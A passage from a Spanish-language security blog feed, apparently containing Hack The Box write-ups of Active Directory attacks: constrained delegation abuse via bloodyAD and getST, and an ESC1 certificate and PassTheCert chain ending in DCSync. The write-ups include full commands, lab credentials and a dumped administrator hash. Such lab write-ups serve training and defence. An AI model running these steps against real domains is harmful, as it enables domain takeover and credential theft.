  <li><a href="https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/">Dirk-jan Mollema — Relaying Kerberos over DNS with krbrelayx and mitm6</a></li>
  <li><a href="https://github.com/decoder-it/KrbRelay-SMBServer">KrbRelay-SMBServer by @decoder_it</a></li>
</ul>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Active Directory" /><category term="ESC8" /><category term="ADCS" /><category term="KerberosRelay" /><category term="ActiveDirectory" /><category term="NTLM-Disabled" /><category term="CertificateAbuse" /><category term="CredMarshalTargetInfo" /><category term="PetitPotam" /><category term="DCSync" /><category term="Certipy" /><category term="krbrelayx" /><category term="bloodyAD" /><category term="Windows" /><category term="Privesc" /><summary type="html"><![CDATA[Contexto]]></summary></entry><entry><title type="html">Constrained Delegation Attack</title><link href="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/12/Constrained-Delegation-Attack.html" rel="alternate" type="text/html" title="Constrained Delegation Attack" /><published>2026-03-12T00:00:00+00:00</published><updated>2026-03-12T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/12/Constrained%20Delegation%20Attack</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/12/Constrained-Delegation-Attack.html"><![CDATA[<h2 id="qué-es-constrained-delegation">¿Qué es Constrained Delegation?</h2>

<p>Constrained Delegation es una característica de Kerberos que permite a un objeto de AD (usuario o computadora) solicitar tickets de servicio en nombre de otro usuario, pero limitado a servicios específicos previamente configurados. A diferencia de Unconstrained Delegation donde el objeto puede impersonar a cualquier usuario hacia cualquier servicio, aquí el scope está restringido a los SPNs definidos en <code class="language-plaintext highlighter-rouge">msDS-AllowedToDelegateTo</code>.</p>

<p>El mecanismo detrás usa dos extensiones de Kerberos:</p>

<ul>
  <li><strong>S4U2Self</strong> — permite al objeto obtener un ticket de servicio hacia sí mismo en nombre de cualquier usuario, sin necesitar las credenciales de ese usuario</li>
  <li><strong>S4U2Proxy</strong> — usa ese ticket para solicitar un ticket de servicio hacia el SPN destino configurado, impersonando al usuario elegido</li>
</ul>

<p>Para que un objeto pueda ejecutar este flujo necesita tener el flag <code class="language-plaintext highlighter-rouge">TRUSTED_TO_AUTH_FOR_DELEGATION</code> en su <code class="language-plaintext highlighter-rouge">userAccountControl</code> y al menos un SPN configurado en <code class="language-plaintext highlighter-rouge">msDS-AllowedToDelegateTo</code>.</p>

<h2 id="cuándo-es-explotable">¿Cuándo es explotable?</h2>

<p>El ataque se vuelve interesante en dos escenarios principales:</p>

<p>El primero es cuando ya tienes control sobre un objeto que tiene Constrained Delegation configurado — simplemente abusas de lo que ya está ahí impersonando a un usuario privilegiado hacia el SPN configurado.</p>

<p>El segundo, y más poderoso, es cuando tienes permisos para <strong>modificar los atributos de delegación</strong> de un objeto. Si puedes escribir sobre <code class="language-plaintext highlighter-rouge">msDS-AllowedToDelegateTo</code> y activar <code class="language-plaintext highlighter-rouge">TRUSTED_TO_AUTH_FOR_DELEGATION</code>, puedes configurar la delegación tú mismo desde cero y dirigirla hacia donde quieras.</p>

<p>El privilegio que habilita esto es <code class="language-plaintext highlighter-rouge">SeEnableDelegationPrivilege</code> — con él puedes modificar estos atributos en objetos sobre los que además tienes Full Control.</p>

<h2 id="a-quién-impersonar">A quién impersonar</h2>

<p>Un error común es intentar impersonar directamente a <code class="language-plaintext highlighter-rouge">Administrator</code>. Esto falla frecuentemente porque Administrator puede estar en el grupo <strong>Protected Users</strong> o tener el flag <code class="language-plaintext highlighter-rouge">AccountNotDelegated</code>, lo que hace que el KDC rechace el S4U2Proxy con <code class="language-plaintext highlighter-rouge">KDC_ERR_BADOPTION</code>.</p>

<p>La alternativa más efectiva es impersonar una <strong>machine account</strong> privilegiada — por ejemplo la machine account del DC (<code class="language-plaintext highlighter-rouge">dc$</code>). Las machine accounts raramente tienen esas protecciones y con un ticket CIFS del DC impersonando a <code class="language-plaintext highlighter-rouge">dc$</code> tienes suficiente para ejecutar DCSync y obtener todos los hashes del dominio.</p>

<h2 id="el-flujo-general-del-ataque">El flujo general del ataque</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Obtener TGT del usuario con permisos
2. Cambiar password del objeto objetivo (si tienes Full Control sobre él)
3. Activar TRUSTED_TO_AUTH_FOR_DELEGATION en su userAccountControl
4. Configurar msDS-AllowedToDelegateTo con el SPN destino
5. getST → S4U2Self + S4U2Proxy impersonando la cuenta objetivo
6. Usar el ticket para DCSync o acceso directo
</code></pre></div></div>

<hr />

<h2 id="demostración--redelegate">Demostración — Redelegate</h2>

<p>En esta máquina el escenario fue exactamente el segundo caso: tenía permisos para configurar la delegación desde cero.</p>

<p><strong>Lo que tenía con helen.frost:</strong></p>

<ul>
  <li>
    <p>Sesión WinRM en el DC</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">SeEnableDelegationPrivilege</code></p>
  </li>
</ul>

<p><a href="/assets/images/190.png"><img src="/assets/images/190.png" alt="" /></a></p>

<ul>
  <li>Full Control sobre el objeto <code class="language-plaintext highlighter-rouge">FS01$</code></li>
</ul>

<p><a href="/assets/images/191.png"><img src="/assets/images/191.png" alt="" /></a></p>

<h2 id="paso-1--tgt-de-helen-via-kerberos">Paso 1 — TGT de Helen via Kerberos</h2>

<p>Todas las operaciones de bloodyAD deben ir autenticadas con el TGT de Kerberos, no con usuario y password directamente. El DC solo acepta modificaciones de atributos sensibles como <code class="language-plaintext highlighter-rouge">TRUSTED_TO_AUTH_FOR_DELEGATION</code> cuando el contexto de autenticación es Kerberos con un ticket que tiene <code class="language-plaintext highlighter-rouge">SeEnableDelegationPrivilege</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span>impacket-getTGT redelegate.vl/helen.frost:<span class="s1">'newP@ssword2026'</span> <span class="nt">-dc-ip</span> 10.129.234.50
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>helen.frost.ccache

┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>helen.frost.ccache 
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getTGT</code> le pide al KDC un Ticket Granting Ticket para Helen. Este ticket es la identidad Kerberos de Helen y lo que hace que el DC acepte las modificaciones posteriores — sin él, bloodyAD autenticaría via NTLM y el DC rechazaría los cambios en atributos sensibles como <code class="language-plaintext highlighter-rouge">TRUSTED_TO_AUTH_FOR_DELEGATION</code> porque ese privilegio solo se evalúa correctamente en el contexto Kerberos. Con <code class="language-plaintext highlighter-rouge">export KRB5CCNAME</code> le digo a todas las herramientas que usen ese ccache como identidad activa.</p>

<h2 id="paso-2--cambiar-password-de-fs01">Paso 2 — Cambiar password de FS01$</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span>bloodyAD <span class="nt">-d</span> redelegate.vl <span class="nt">-k</span> <span class="nt">--host</span> <span class="s2">"dc.redelegate.vl"</span> <span class="nb">set </span>password <span class="s1">'FS01$'</span> <span class="s1">'Password1!'</span>
<span class="o">[</span>+] Password changed successfully!
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-d</code> especifica el dominio, <code class="language-plaintext highlighter-rouge">-k</code> le dice a bloodyAD que use el TGT del <code class="language-plaintext highlighter-rouge">KRB5CCNAME</code> activo en lugar de usuario/password, y <code class="language-plaintext highlighter-rouge">--host</code> apunta al DC por hostname (no IP) porque Kerberos requiere resolución de nombres. El comando cambia la password de <code class="language-plaintext highlighter-rouge">FS01$</code> — como Helen tiene Full Control sobre ese objeto en AD, tiene permiso para hacerlo. Necesito conocer la password de FS01$ para poder autenticarme como esa machine account en los pasos siguientes.</p>

<h2 id="paso-3--activar-trusted_to_auth_for_delegation">Paso 3 — Activar TRUSTED_TO_AUTH_FOR_DELEGATION</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span>bloodyAD <span class="nt">-d</span> redelegate.vl <span class="nt">-k</span> <span class="nt">--host</span> <span class="s2">"dc.redelegate.vl"</span> add uac <span class="s1">'FS01$'</span> <span class="nt">-f</span> TRUSTED_TO_AUTH_FOR_DELEGATION
<span class="o">[</span>-] <span class="o">[</span><span class="s1">'TRUSTED_TO_AUTH_FOR_DELEGATION'</span><span class="o">]</span> property flags added to FS01<span class="s1">$'s userAccountControl
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">add uac</code> modifica el atributo <code class="language-plaintext highlighter-rouge">userAccountControl</code> del objeto y <code class="language-plaintext highlighter-rouge">-f TRUSTED_TO_AUTH_FOR_DELEGATION</code> agrega ese flag específico sin tocar los demás flags existentes. Este flag es el que le dice al KDC que <code class="language-plaintext highlighter-rouge">FS01$</code> está autorizado para ejecutar S4U2Self — sin él el KDC rechaza directamente cualquier intento de delegación. Solo funciona porque Helen tiene <code class="language-plaintext highlighter-rouge">SeEnableDelegationPrivilege</code>.</p>

<h2 id="paso-4--configurar-msds-allowedtodelegateto">Paso 4 — Configurar msDS-AllowedToDelegateTo</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span>bloodyAD <span class="nt">-d</span> redelegate.vl <span class="nt">-k</span> <span class="nt">--host</span> <span class="s2">"dc.redelegate.vl"</span> <span class="nb">set </span>object <span class="s1">'FS01$'</span> msDS-AllowedToDelegateTo <span class="nt">-v</span> <span class="s1">'cifs/dc.redelegate.vl'</span>
<span class="o">[</span>+] FS01<span class="s1">$'s msDS-AllowedToDelegateTo has been updated
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">set object</code> modifica un atributo LDAP directamente sobre el objeto <code class="language-plaintext highlighter-rouge">FS01$</code>, en este caso <code class="language-plaintext highlighter-rouge">msDS-AllowedToDelegateTo</code>. El valor <code class="language-plaintext highlighter-rouge">cifs/dc.redelegate.vl</code> es el SPN hacia el que FS01$ podrá delegar — básicamente le estoy diciendo al KDC “FS01$ tiene permitido obtener tickets CIFS del DC en nombre de otros usuarios”. El case importa aquí, tiene que ir en minúscula tal como está registrado en AD o el KDC no lo reconoce.</p>

<h2 id="paso-5--s4u2self--s4u2proxy">Paso 5 — S4U2Self + S4U2Proxy</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span><span class="nb">unset </span>KRB5CCNAME

┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/redelegate/content]
└─<span class="nv">$ </span>impacket-getST redelegate.vl/<span class="s1">'FS01$'</span>:<span class="s1">'Password1!'</span> <span class="se">\</span>
  <span class="nt">-spn</span> cifs/dc.redelegate.vl <span class="se">\</span>
  <span class="nt">-impersonate</span> dc <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.234.50

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span>-] CCache file is not found. Skipping...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting TGT <span class="k">for </span>user
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Impersonating dc
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2self
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2Proxy
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
</code></pre></div></div>

<p>Primero hago <code class="language-plaintext highlighter-rouge">unset KRB5CCNAME</code> para que getST no intente usar el ticket de Helen sino que se autentique directamente como <code class="language-plaintext highlighter-rouge">FS01$</code> con la password que acabamos de setear. <code class="language-plaintext highlighter-rouge">-spn</code> es el servicio destino hacia el que quiero el ticket, <code class="language-plaintext highlighter-rouge">-impersonate dc</code> es la cuenta que voy a impersonar — elijo la machine account <code class="language-plaintext highlighter-rouge">dc$</code> y no <code class="language-plaintext highlighter-rouge">Administrator</code> porque las machine accounts no tienen protecciones contra delegación. Internamente getST ejecuta S4U2Self para obtener un ticket de <code class="language-plaintext highlighter-rouge">FS01$</code> hacia sí mismo impersonando a <code class="language-plaintext highlighter-rouge">dc$</code>, y luego S4U2Proxy para convertir ese ticket en uno válido para <code class="language-plaintext highlighter-rouge">cifs/dc.redelegate.vl</code>. El resultado es un ccache con ese service ticket listo para usar.</p>

<h2 id="paso-6--dcsync">Paso 6 — DCSync</h2>

<p><a href="/assets/images/192.png"><img src="/assets/images/192.png" alt="" /></a></p>

<p>Seteo el ccache generado en el paso anterior como identidad activa. <code class="language-plaintext highlighter-rouge">-k</code> le dice a secretsdump que use Kerberos, <code class="language-plaintext highlighter-rouge">-no-pass</code> porque la autenticación va por el ticket no por password, y <code class="language-plaintext highlighter-rouge">-just-dc-ntlm</code> para extraer solo los hashes NTLM via DRSUAPI — que es el protocolo de replicación de AD que usan los Domain Controllers entre sí. Como el ticket nos identifica como <code class="language-plaintext highlighter-rouge">dc$</code> impersonando al DC real, tenemos permisos de replicación y podemos pedir todos los hashes del dominio. Con el hash NTLM de Administrator tenemos acceso total al DC via Pass-the-Hash.</p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Windows" /><category term="Active Directory" /><category term="Kerberos" /><category term="Constrained Delegation" /><category term="S4U2Proxy" /><category term="S4U2Self" /><category term="DCSync" /><category term="Privilege Escalation" /><category term="MSSQL" /><category term="RID Cycling" /><category term="Windows" /><summary type="html"><![CDATA[¿Qué es Constrained Delegation?]]></summary></entry><entry><title type="html">ESC1 + DC sin soporte PKINIT → PassTheCert → DCSync</title><link href="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ESC1-+-DC-sin-soporte-PKINIT-PassTheCert-DCSync.html" rel="alternate" type="text/html" title="ESC1 + DC sin soporte PKINIT → PassTheCert → DCSync" /><published>2026-03-10T00:00:00+00:00</published><updated>2026-03-10T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ESC1%20+%20DC%20sin%20soporte%20PKINIT%20%E2%86%92%20PassTheCert%20%E2%86%92%20DCSync</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ESC1-+-DC-sin-soporte-PKINIT-PassTheCert-DCSync.html"><![CDATA[<h2 id="por-qué-algunos-dcs-no-soportan-pkinit">¿Por qué algunos DCs no soportan PKINIT?</h2>

<p>Cuando exploto ESC1 y obtengo un <code class="language-plaintext highlighter-rouge">.pfx</code> como Administrator, el flujo normal es usar ese certificado para autenticarme vía Kerberos y obtener un TGT — esto se llama <strong>PKINIT</strong> (Public Key Cryptography for Initial Authentication in Kerberos).</p>

<p>El problema es que <strong>PKINIT no es universal</strong>. Para que funcione, el DC necesita tener configurado el servicio de autenticación por certificado, lo que implica que:</p>

<ul>
  <li>El DC debe tener instalado y configurado <strong>AD CS</strong> con soporte explícito para smart card / certificate logon</li>
  <li>Debe existir un mapeo válido entre el certificado y el objeto de usuario en el directorio (vía SID o UPN)</li>
  <li>La CA que emitió el certificado debe ser de confianza para el KDC</li>
</ul>

<p>En entornos donde AD CS fue desplegado de forma básica o con configuraciones mínimas, el KDC simplemente no tiene habilitado el soporte para este tipo de pre-autenticación y responde con <code class="language-plaintext highlighter-rouge">KDC_ERR_PADATA_TYPE_NOSUPP</code>. Esto no significa que el certificado sea inútil — significa que hay que buscar otra vía para aprovecharlo, y esa vía es <strong>autenticación LDAP con el certificado directamente</strong>, saltando Kerberos por completo.</p>

<hr />

<h2 id="escenario-htb-authority">Escenario: HTB Authority</h2>

<p>Cuento con credenciales de <code class="language-plaintext highlighter-rouge">svc_ldap : lDaP_1n_th3_cle4r!</code> obtenidas previamente a través del portal PWM mal configurado. Con esto enumero AD CS y encuentro el template <strong>CorpVPN</strong> vulnerable a <strong>ESC1</strong>.</p>

<hr />

<h2 id="1-enumeración-del-template-vulnerable">1. Enumeración del Template Vulnerable</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/authority/content]
└─<span class="nv">$ </span>certipy-ad find <span class="nt">-u</span> <span class="s1">'svc_ldap'</span> <span class="nt">-p</span> <span class="s1">'lDaP_1n_th3_cle4r!'</span> <span class="nt">-target</span> AUTHORITY.HTB <span class="nt">-dc-ip</span> 10.129.229.56 <span class="nt">-stdout</span> <span class="nt">-vulnerable</span>
Certipy v5.0.4 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 37 certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding certificate authorities
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 1 certificate authority
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 13 enabled certificate templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Finding issuance policies
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 21 issuance policies
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 0 OIDs linked to templates
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Retrieving CA configuration <span class="k">for</span> <span class="s1">'AUTHORITY-CA'</span> via RRP
<span class="o">[!]</span> Failed to connect to remote registry. Service should be starting now. Trying again...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully retrieved CA configuration <span class="k">for</span> <span class="s1">'AUTHORITY-CA'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Checking web enrollment <span class="k">for </span>CA <span class="s1">'AUTHORITY-CA'</span> @ <span class="s1">'authority.authority.htb'</span>
<span class="o">[!]</span> Error checking web enrollment: <span class="o">[</span>Errno 111] Connection refused
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Enumeration output:
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : <span class="nv">CN</span><span class="o">=</span>AUTHORITY-CA, <span class="nv">DC</span><span class="o">=</span>authority, <span class="nv">DC</span><span class="o">=</span>htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption <span class="k">for </span>Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : AUTHORITY.HTB<span class="se">\A</span>dministrators
      Access Rights
        ManageCa                        : AUTHORITY.HTB<span class="se">\A</span>dministrators
                                          AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
        ManageCertificates              : AUTHORITY.HTB<span class="se">\A</span>dministrators
                                          AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
        Enroll                          : AUTHORITY.HTB<span class="se">\A</span>uthenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollmentCheckUserDsCertificate
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2023-03-24T23:48:09+00:00
    Template Last Modified              : 2023-03-24T23:48:11+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB<span class="se">\D</span>omain Computers
                                          AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB<span class="se">\A</span>dministrator
        Full Control Principals         : AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
        Write Owner Principals          : AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
        Write Dacl Principals           : AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
        Write Property Enroll           : AUTHORITY.HTB<span class="se">\D</span>omain Admins
                                          AUTHORITY.HTB<span class="se">\E</span>nterprise Admins
    <span class="o">[</span>+] User Enrollable Principals      : AUTHORITY.HTB<span class="se">\D</span>omain Computers
    <span class="o">[!]</span> Vulnerabilities
      ESC1  
</code></pre></div></div>

<p>Certipy identifica <strong>CorpVPN</strong> como vulnerable a ESC1. Las tres condiciones que lo hacen explotable son:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Enrollee Supplies Subject: True</code> → puedo especificar libremente el UPN en el SAN, lo que me permite impersonar a cualquier usuario, incluyendo Administrator</li>
  <li><code class="language-plaintext highlighter-rouge">Client Authentication: True</code> → el certificado resultante sirve para autenticarse en el dominio</li>
  <li><code class="language-plaintext highlighter-rouge">Enrollment Rights: Domain Computers</code> → solo cuentas de computadora pueden solicitar este template</li>
</ul>

<p>El tercer punto es el que complica la solicitud directa con <code class="language-plaintext highlighter-rouge">svc_ldap</code>, ya que es una cuenta de usuario y no de computadora. Así que primero necesito crear una.</p>

<hr />

<h2 id="2-crear-una-cuenta-de-computadora-falsa">2. Crear una Cuenta de Computadora Falsa</h2>

<p>Uso <code class="language-plaintext highlighter-rouge">impacket-addcomputer</code> para agregar una computadora al dominio con las credenciales de <code class="language-plaintext highlighter-rouge">svc_ldap</code>. Esto es posible porque por defecto en Active Directory cualquier usuario autenticado puede unir hasta <strong>10 computadoras</strong> al dominio (atributo <code class="language-plaintext highlighter-rouge">ms-DS-MachineAccountQuota</code>).</p>

<p><a href="/assets/images/176.png"><img src="/assets/images/176.png" alt="" /></a></p>

<p>Esto me da una cuenta <code class="language-plaintext highlighter-rouge">FAKEBOX$</code> que sí pertenece al grupo <strong>Domain Computers</strong> y por lo tanto tiene derecho de enroll en el template CorpVPN.</p>

<hr />

<h2 id="3-solicitar-el-certificado-como-administrator-esc1">3. Solicitar el Certificado como Administrator (ESC1)</h2>

<p>Con las credenciales de <code class="language-plaintext highlighter-rouge">FAKEBOX$</code> solicito el certificado especificando el UPN de Administrator en el SAN. Esto es el núcleo de ESC1: el template no valida que el solicitante sea realmente el usuario que declara en el certificado.</p>

<p><a href="/assets/images/177.png"><img src="/assets/images/177.png" alt="" /></a></p>

<p>La CA emite el certificado sin validar la identidad real del solicitante frente al UPN declarado. El resultado es <code class="language-plaintext highlighter-rouge">administrator.pfx</code> — un certificado que acredita ser Administrator.</p>

<hr />

<h2 id="4-intento-de-autenticación-pkinit--error">4. Intento de Autenticación PKINIT — Error</h2>

<p>El flujo estándar sería usar ese <code class="language-plaintext highlighter-rouge">.pfx</code> para obtener un TGT de Kerberos:</p>

<p><a href="/assets/images/178.png"><img src="/assets/images/178.png" alt="" /></a></p>

<p>Pero el DC responde con:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)
</code></pre></div></div>

<p>El KDC no tiene habilitado PKINIT, así que no puede procesar pre-autenticación basada en certificados. El TGT no se emite. <strong>El certificado sigue siendo válido — solo necesito una ruta diferente para usarlo.</strong></p>

<hr />

<h2 id="5-extraer-el-certificado-y-la-clave-del-pfx">5. Extraer el Certificado y la Clave del PFX</h2>

<p>La alternativa es usar el certificado para autenticarme directamente contra <strong>LDAP</strong> en lugar de Kerberos. Para eso necesito el <code class="language-plaintext highlighter-rouge">.crt</code> y el <code class="language-plaintext highlighter-rouge">.key</code> por separado:</p>

<p><a href="/assets/images/179.png"><img src="/assets/images/179.png" alt="" /></a></p>

<p>Estos dos archivos me permiten establecer una sesión LDAP autenticada con el certificado del Administrator, sin pasar por Kerberos en ningún momento.</p>

<hr />

<h2 id="6-passthecert--otorgar-dcsync-a-svc_ldap">6. PassTheCert — Otorgar DCSync a svc_ldap</h2>

<p>Con <code class="language-plaintext highlighter-rouge">PassTheCert</code> uso el certificado para autenticarme en LDAP como Administrator y desde ahí modificar el objeto <code class="language-plaintext highlighter-rouge">svc_ldap</code> en el directorio, otorgándole permisos de <strong>DCSync</strong> (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All).</p>

<p><a href="/assets/images/180.png"><img src="/assets/images/180.png" alt="" /></a></p>

<p>La herramienta confirma: <code class="language-plaintext highlighter-rouge">Granted user 'svc_ldap' DCSYNC rights!</code></p>

<p>Esto funciona porque LDAP sí acepta autenticación por certificado (SASL EXTERNAL / TLS client auth), a diferencia del KDC en este DC. Ahora <code class="language-plaintext highlighter-rouge">svc_ldap</code> puede replicar el directorio como si fuera un Domain Controller.</p>

<hr />

<h2 id="7-dcsync--dumping-de-credenciales">7. DCSync — Dumping de Credenciales</h2>

<p>Con los permisos de replicación ya asignados, ejecuto DCSync con <code class="language-plaintext highlighter-rouge">secretsdump</code>:</p>

<p><a href="/assets/images/181.png"><img src="/assets/images/181.png" alt="" /></a></p>

<p>Obtengo los hashes NTLM de todos los usuarios del dominio, incluyendo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
</code></pre></div></div>

<hr />

<h2 id="8-pass-the-hash--shell-como-administrator">8. Pass-the-Hash → Shell como Administrator</h2>

<p>Verifico el hash y me conecto al DC</p>

<p><a href="/assets/images/182.png"><img src="/assets/images/182.png" alt="" /></a></p>

<hr />

<h2 id="resumen-de-la-cadena-de-ataque">Resumen de la Cadena de Ataque</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_ldap (credenciales) 
  → Enumeración AD CS → CorpVPN vulnerable a ESC1
  → Crear FAKEBOX$ (Domain Computer)
  → Solicitar certificado con UPN=administrator@authority.htb
  → PKINIT bloqueado por el DC
  → Extraer .crt y .key del PFX
  → PassTheCert vía LDAP → DCSync rights a svc_ldap
  → secretsdump → Hash NTLM de Administrator
  → Pass-the-Hash → evil-winrm → SYSTEM
</code></pre></div></div>

<hr />

<h2 id="por-qué-funciona-passthecert-cuando-pkinit-no-funciona">Por qué funciona PassTheCert cuando PKINIT no funciona</h2>

<table>
  <thead>
    <tr>
      <th>Protocolo</th>
      <th>Autenticación por certificado</th>
      <th>¿Funciona en Authority?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Kerberos (PKINIT)</td>
      <td>Requiere configuración explícita en el KDC</td>
      <td>No soportado</td>
    </tr>
    <tr>
      <td>LDAP (SASL/TLS)</td>
      <td>Nativo en cualquier DC con LDAPS activo</td>
      <td>Funciona</td>
    </tr>
  </tbody>
</table>

<p>LDAP acepta el certificado como identidad porque el DC tiene LDAPS activo en el puerto 636, y el certificado lleva el UPN de Administrator como SAN — el directorio lo toma como prueba de identidad válida. No necesita que el KDC lo valide.</p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Windows" /><category term="Active Directory" /><category term="AD CS" /><category term="ESC1" /><category term="Certificate Abuse" /><category term="PKINIT" /><category term="PassTheCert" /><category term="DCSync" /><category term="Domain Computers" /><category term="LDAP" /><category term="Pass-the-Hash" /><category term="Privilege Escalation" /><category term="Evil-WinRM" /><category term="HTB" /><category term="certipy" /><summary type="html"><![CDATA[¿Por qué algunos DCs no soportan PKINIT?]]></summary></entry><entry><title type="html">Server Operators - Abuso para Escalada de Privilegios</title><link href="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ServerOperators-Abuso-para-Escalada-de-Privilegios.html" rel="alternate" type="text/html" title="Server Operators - Abuso para Escalada de Privilegios" /><published>2026-03-10T00:00:00+00:00</published><updated>2026-03-10T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ServerOperators-Abuso-para-Escalada-de-Privilegios</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/windows/2026/03/10/ServerOperators-Abuso-para-Escalada-de-Privilegios.html"><![CDATA[<h2 id="qué-es-el-grupo-server-operators">¿Qué es el grupo Server Operators?</h2>

